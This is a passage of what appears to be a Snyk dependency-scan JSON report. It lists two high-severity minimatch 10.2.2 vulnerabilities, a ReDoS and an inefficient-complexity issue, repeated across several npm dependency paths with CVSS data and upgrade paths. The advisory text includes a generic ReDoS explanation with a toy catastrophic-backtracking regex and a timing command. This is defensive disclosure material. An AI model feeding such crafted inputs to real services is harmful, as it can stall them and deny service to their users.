"lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s 